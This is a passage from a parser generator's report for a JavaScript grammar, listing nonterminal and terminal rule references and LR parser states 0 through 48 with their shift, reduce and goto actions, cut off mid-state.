214 241 242 243 244 245 248 249 250 252 265 266 267 268 275 278 279 - on left : 213 214 - ElisionOpt (120) - on right: 45 47 48 49 - on left : 50 51 - ElementList (121) - on right: 46 47 49 - on left : 48 49 - Elision (122) - on right: 51 53 - on left : 52 53 - MemberExpr (123) - on right: 56 57 58 62 63 67 - on left : 54 55 56 57 58 - FunctionExpr (124) - on right: 55 - on left : 287 288 289 290 - Arguments (125) - on right: 58 62 67 68 71 72 - on left : 75 76 - MemberExprNoBF (126) - on right: 60 61 65 71 - on left : 59 60 61 62 - NewExpr (127) - on right: 64 66 79 - on left : 63 64 - NewExprNoBF (128) - on right: 81 - on left : 65 66 - CallExpr (129) - on right: 68 69 70 80 - on left : 67 68 69 70 - CallExprNoBF (130) - on right: 72 73 74 82 - on left : 71 72 73 74 - ArgumentList (131) - on right: 76 78 - on left : 77 78 - LeftHandSideExpr (132) - on right: 83 84 85 196 198 248 - on left : 79 80 - LeftHandSideExprNoBF (133) - on right: 86 87 88 200 - on left : 81 82 - PostfixExpr (134) - on right: 98 - on left : 83 84 85 - PostfixExprNoBF (135) - on right: 100 - on left : 86 87 88 - UnaryExprCommon (136) - on right: 99 101 - on left : 89 90 91 92 93 94 95 96 97 - UnaryExpr (137) - on right: 89 90 91 92 93 94 95 96 97 102 103 104 105 107 108 109 - on left : 98 99 - UnaryExprNoBF (138) - on right: 106 - on left : 100 101 - MultiplicativeExpr (139) - on right: 103 104 105 110 111 112 114 115 - on left : 102 103 104 105 - MultiplicativeExprNoBF (140) - on right: 107 108 109 113 - on left : 106 107 108 109 - AdditiveExpr (141) - on right: 111 112 116 117 118 119 121 122 123 - on left : 110 111 112 - AdditiveExprNoBF (142) - on right: 114 115 120 - on left : 113 114 115 - ShiftExpr (143) - on right: 117 118 119 124 125 126 127 128 129 130 131 132 133 134 135 136 138 139 140 141 142 143 - on left : 116 117 118 119 - ShiftExprNoBF (144) - on right: 121 122 123 137 - on left : 120 121 122 123 - RelationalExpr (145) - on right: 125 126 127 128 129 130 144 145 146 147 148 155 156 157 158 - on left : 124 125 126 127 128 129 130 - RelationalExprNoIn (146) - on right: 132 133 134 135 136 149 150 151 152 153 - on left : 131 132 133 134 135 136 - RelationalExprNoBF (147) - on right: 138 139 140 141 142 143 154 - on left : 137 138 139 140 141 142 143 - EqualityExpr (148) - on right: 145 146 147 148 159 160 164 - on left : 144 145 146 147 148 - EqualityExprNoIn (149) - on right: 150 151 152 153 161 162 - on left : 149 150 151 152 153 - EqualityExprNoBF (150) - on right: 155 156 157 158 163 - on left : 154 155 156 157 158 - BitwiseANDExpr (151) - on right: 160 165 166 170 - on left : 159 160 - BitwiseANDExprNoIn (152) - on right: 162 167 168 - on left : 161 162 - BitwiseANDExprNoBF (153) - on right: 164 169 - on left : 163 164 - BitwiseXORExpr (154) - on right: 166 171 172 176 - on left : 165 166 - BitwiseXORExprNoIn (155) - on right: 168 173 174 - on left : 167 168 - BitwiseXORExprNoBF (156) - on right: 170 175 - on left : 169 170 - BitwiseORExpr (157) - on right: 172 177 178 182 - on left : 171 172 - BitwiseORExprNoIn (158) - on right: 174 179 180 - on left : 173 174 - BitwiseORExprNoBF (159) - on right: 176 181 - on left : 175 176 - LogicalANDExpr (160) - on right: 178 183 184 188 - on left : 177 178 - LogicalANDExprNoIn (161) - on right: 180 185 186 - on left : 179 180 - LogicalANDExprNoBF (162) - on right: 182 187 - on left : 181 182 - LogicalORExpr (163) - on right: 184 189 190 - on left : 183 184 - LogicalORExprNoIn (164) - on right: 186 191 192 - on left : 185 186 - LogicalORExprNoBF (165) - on right: 188 193 194 - on left : 187 188 - ConditionalExpr (166) - on right: 195 - on left : 189 190 - ConditionalExprNoIn (167) - on right: 197 - on left : 191 192 - AssignmentExprNoIn (168) - on right: 192 198 215 216 237 - on left : 197 198 - ConditionalExprNoBF (169) - on right: 199 - on left : 193 194 - AssignmentOperator (170) - on right: 196 198 200 - on left : 201 202 203 204 205 206 207 208 209 210 211 212 - AssignmentExprNoBF (171) - on right: 217 - on left : 199 200 - ExprNoIn (172) - on right: 216 254 - on left : 215 216 - ExprNoBF (173) - on right: 218 239 240 - on left : 217 218 - VariableDeclarationList (174) - on right: 220 221 223 - on left : 222 223 - VariableDeclaration (175) - on right: 222 223 - on left : 226 227 - VariableDeclarationListNoIn (176) - on right: 225 247 - on left : 224 225 - VariableDeclarationNoIn (177) - on right: 224 225 - on left : 228 229 - Initializer (178) - on right: 227 235 - on left : 236 - InitializerNoIn (179) - on right: 229 250 - on left : 237 - ConstDeclarationList (180) - on right: 230 231 233 - on left : 232 233 - ConstDeclaration (181) - on right: 232 233 - on left : 234 235 - ExprNoInOpt (182) - on right: 246 - on left : 253 254 - ExprOpt (183) - on right: 246 247 - on left : 251 252 - CaseBlock (184) - on right: 268 - on left : 269 270 - CaseClausesOpt (185) - on right: 269 270 - on left : 271 272 - DefaultClause (186) - on right: 270 - on left : 276 - CaseClauses (187) - on right: 272 274 - on left : 273 274 - CaseClause (188) - on right: 273 274 - on left : 275 - -**Terminals, with rules where they appear - - $end (0) - error (1) 221 231 240 244 256 258 260 262 264 266 279 284 - NULL (2) 23 - TRUE (3) 24 - FALSE (4) 25 - BREAK (5) 259 260 261 262 - CASE (6) 275 - CATCH (7) 281 282 - CONST (8) 230 231 - CONTINUE (9) 255 256 257 258 - DEBUGGER (10) 283 284 - DEFAULT (11) 276 - DELETE (12) 89 - DO (13) 243 244 - ELSE (14) 242 - ENUM (15) - FINALLY (16) 280 282 - FOR (17) 246 247 248 249 250 - FUNCTION (18) 285 286 287 288 289 290 - IF (19) 241 242 - IN (20) 130 143 248 249 250 - INSTANCEOF (21) 129 136 142 - NEW (22) 58 62 64 66 - RETURN (23) 263 264 265 266 - SWITCH (24) 268 - THIS (25) 40 - THROW (26) 278 279 - TRY (27) 280 281 282 - TYPEOF (28) 91 - VAR (29) 220 221 247 249 250 - VOID (30) 90 - WHILE (31) 243 244 245 - WITH (32) 267 - EQEQ (33) 145 150 155 - NE (34) 146 151 156 - STREQ (35) 147 152 157 - STRNEQ (36) 148 153 158 - LE (37) 127 134 140 - GE (38) 128 135 141 - OR (39) 184 186 188 - AND (40) 178 180 182 - PLUSPLUS (41) 84 87 92 - MINUSMINUS (42) 85 88 93 - LSHIFT (43) 117 121 - RSHIFT (44) 118 122 - URSHIFT (45) 119 123 - PLUSEQUAL (46) 202 - MINUSEQUAL (47) 203 - MULTEQUAL (48) 204 - DIVEQUAL (49) 205 - LSHIFTEQUAL (50) 206 - RSHIFTEQUAL (51) 207 - URSHIFTEQUAL (52) 208 - ANDEQUAL (53) 209 - MODEQUAL (54) 212 - XOREQUAL (55) 210 - OREQUAL (56) 211 - REGEXP (57) 28 - NUMBER (58) 26 31 - STRING (59) 27 30 - IDENT (60) 29 32 33 43 57 61 70 74 226 227 228 229 234 235 249 250 257 258 261 262 277 281 282 285 286 289 290 291 292 - AUTOPLUSPLUS (61) - AUTOMINUSMINUS (62) - IF_WITHOUT_ELSE (63) - ":" (64) 29 30 31 190 192 194 275 276 277 - "(" (65) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290 - ")" (66) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290 - "{" (67) 32 33 37 38 39 219 269 270 285 286 287 288 289 290 - "}" (68) 32 33 37 38 39 219 269 270 285 286 287 288 289 290 - "," (69) 35 39 47 49 52 53 78 214 216 218 223 225 233 292 - "[" (70) 45 46 47 56 60 69 73 - "]" (71) 45 46 47 56 60 69 73 - "." (72) 57 61 70 74 - "+" (73) 94 111 114 - "-" (74) 95 112 115 - "~" (75) 96 - "!" (76) 97 - "*" (77) 103 107 - "/" (78) 104 108 - "%" (79) 105 109 - "<" (80) 125 132 138 - ">" (81) 126 133 139 - "&" (82) 160 162 164 - "^" (83) 166 168 170 - "|" (84) 172 174 176 - "?" (85) 190 192 194 - "=" (86) 201 236 237 - ";" (87) 220 230 238 239 243 246 247 255 257 259 261 263 265 278 283 - ---------- State --------- - -state 0 - - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElements go to state 1 - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - -state 1 - - - $end shift, and go to state 82 - - -state 2 - - 2) SourceElements : SourceElementList _ - 4) SourceElementList : SourceElementList _ SourceElement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 2 (SourceElements) - - SourceElement go to state 83 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - -state 3 - - 3) SourceElementList : SourceElement _ - - $default reduce using rule 3 (SourceElementList) - - -state 4 - - 5) SourceElement : FunctionDeclaration _ - - $default reduce using rule 5 (SourceElement) - - -state 5 - - 6) SourceElement : Statement _ - - $default reduce using rule 6 (SourceElement) - - -state 6 - - 7) Statement : Block _ - - $default reduce using rule 7 (Statement) - - -state 7 - - 8) Statement : VariableStatement _ - - $default reduce using rule 8 (Statement) - - -state 8 - - 9) Statement : ConstStatement _ - - $default reduce using rule 9 (Statement) - - -state 9 - - 10) Statement : EmptyStatement _ - - $default reduce using rule 10 (Statement) - - -state 10 - - 11) Statement : ExprStatement _ - - $default reduce using rule 11 (Statement) - - -state 11 - - 12) Statement : IfStatement _ - - $default reduce using rule 12 (Statement) - - -state 12 - - 13) Statement : IterationStatement _ - - $default reduce using rule 13 (Statement) - - -state 13 - - 14) Statement : ContinueStatement _ - - $default reduce using rule 14 (Statement) - - -state 14 - - 15) Statement : BreakStatement _ - - $default reduce using rule 15 (Statement) - - -state 15 - - 16) Statement : ReturnStatement _ - - $default reduce using rule 16 (Statement) - - -state 16 - - 17) Statement : WithStatement _ - - $default reduce using rule 17 (Statement) - - -state 17 - - 18) Statement : SwitchStatement _ - - $default reduce using rule 18 (Statement) - - -state 18 - - 19) Statement : LabelledStatement _ - - $default reduce using rule 19 (Statement) - - -state 19 - - 20) Statement : ThrowStatement _ - - $default reduce using rule 20 (Statement) - - -state 20 - - 21) Statement : TryStatement _ - - $default reduce using rule 21 (Statement) - - -state 21 - - 22) Statement : DebuggerStatement _ - - $default reduce using rule 22 (Statement) - - -state 22 - - 23) Literal : NULL _ - - $default reduce using rule 23 (Literal) - - -state 23 - - 24) Literal : TRUE _ - - $default reduce using rule 24 (Literal) - - -state 24 - - 25) Literal : FALSE _ - - $default reduce using rule 25 (Literal) - - -state 25 - - 26) Literal : NUMBER _ - - $default reduce using rule 26 (Literal) - - -state 26 - - 27) Literal : STRING _ - - $default reduce using rule 27 (Literal) - - -state 27 - - 28) Literal : REGEXP _ - - $default reduce using rule 28 (Literal) - - -state 28 - - 40) PrimaryExprNoBrace : THIS _ - - $default reduce using rule 40 (PrimaryExprNoBrace) - - -state 29 - - 41) PrimaryExprNoBrace : Literal _ - - $default reduce using rule 41 (PrimaryExprNoBrace) - - -state 30 - - 42) PrimaryExprNoBrace : ArrayLiteral _ - - $default reduce using rule 42 (PrimaryExprNoBrace) - - -state 31 - - 43) PrimaryExprNoBrace : IDENT _ - 277) LabelledStatement : IDENT _ ":" Statement - - ":" shift, and go to state 84 - $default reduce using rule 43 (PrimaryExprNoBrace) - - -state 32 - - 44) PrimaryExprNoBrace : "(" _ Expr ")" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - Expr go to state 88 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 33 - - 45) ArrayLiteral : "[" _ ElisionOpt "]" - 46) ArrayLiteral : "[" _ ElementList "]" - 47) ArrayLiteral : "[" _ ElementList "," ElisionOpt "]" - - "," shift, and go to state 115 - $default reduce using rule 50 (ElisionOpt) - - ElisionOpt go to state 112 - ElementList go to state 113 - Elision go to state 114 - -state 34 - - 59) MemberExprNoBF : PrimaryExprNoBrace _ - - $default reduce using rule 59 (MemberExprNoBF) - - -state 35 - - 60) MemberExprNoBF : MemberExprNoBF _ "[" Expr "]" - 61) MemberExprNoBF : MemberExprNoBF _ "." IDENT - 65) NewExprNoBF : MemberExprNoBF _ - 71) CallExprNoBF : MemberExprNoBF _ Arguments - - "(" shift, and go to state 119 - "[" shift, and go to state 116 - "." shift, and go to state 117 - $default reduce using rule 65 (NewExprNoBF) - - Arguments go to state 118 - -state 36 - - 62) MemberExprNoBF : NEW _ MemberExpr Arguments - 66) NewExprNoBF : NEW _ NewExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 120 - NewExpr go to state 121 - -state 37 - - 72) CallExprNoBF : CallExprNoBF _ Arguments - 73) CallExprNoBF : CallExprNoBF _ "[" Expr "]" - 74) CallExprNoBF : CallExprNoBF _ "." IDENT - 82) LeftHandSideExprNoBF : CallExprNoBF _ - - "(" shift, and go to state 119 - "[" shift, and go to state 123 - "." shift, and go to state 124 - $default reduce using rule 82 (LeftHandSideExprNoBF) - - Arguments go to state 122 - -state 38 - - 81) LeftHandSideExprNoBF : NewExprNoBF _ - - $default reduce using rule 81 (LeftHandSideExprNoBF) - - -state 39 - - 86) PostfixExprNoBF : LeftHandSideExprNoBF _ - 87) PostfixExprNoBF : LeftHandSideExprNoBF _ PLUSPLUS - 88) PostfixExprNoBF : LeftHandSideExprNoBF _ MINUSMINUS - 200) AssignmentExprNoBF : LeftHandSideExprNoBF _ AssignmentOperator AssignmentExpr - - PLUSPLUS shift, and go to state 125 - MINUSMINUS shift, and go to state 126 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 86 (PostfixExprNoBF) - - AssignmentOperator go to state 127 - -state 40 - - 89) UnaryExprCommon : DELETE _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 141 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 41 - - 90) UnaryExprCommon : VOID _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 142 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 42 - - 91) UnaryExprCommon : TYPEOF _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 143 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 43 - - 92) UnaryExprCommon : PLUSPLUS _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 144 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 44 - - 93) UnaryExprCommon : MINUSMINUS _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 145 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 45 - - 94) UnaryExprCommon : "+" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 146 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 46 - - 95) UnaryExprCommon : "-" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 147 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 47 - - 96) UnaryExprCommon : "~" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 148 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 48 - - 97) UnaryExprCommon : "!" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to 